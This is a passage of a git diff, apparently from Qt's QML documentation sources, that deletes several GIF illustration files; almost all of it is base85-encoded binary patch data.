zcmeAS@N?(olHy`uVBq!ia0vp^MnGJ{!2~3i@R$4oQY`6?zK#qG8~eHcB(j1Ol(KE7#hSM ziZB4`e(vew7*a9k?X8WxhYfgG1GO&5-8*uphr=f7SP>8|P)z4*}Q$iB}-2IGv diff --git a/src/qml/doc/images/verticalpositioner_transition.gif b/src/qml/doc/images/verticalpositioner_transition.gif deleted file mode 100644 index ed61adb5ab066e7b9c145a5ec33148e29ca7ae96..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 12641 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 iBBHgmb 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 J1&&|+{{i8WXrcfB diff --git a/src/qml/doc/images/viewtransitions-basic.gif b/src/qml/doc/images/viewtransitions-basic.gif deleted file mode 100644 index b2a6a618c0f826e323983baa771d016ad256583a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 49932 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 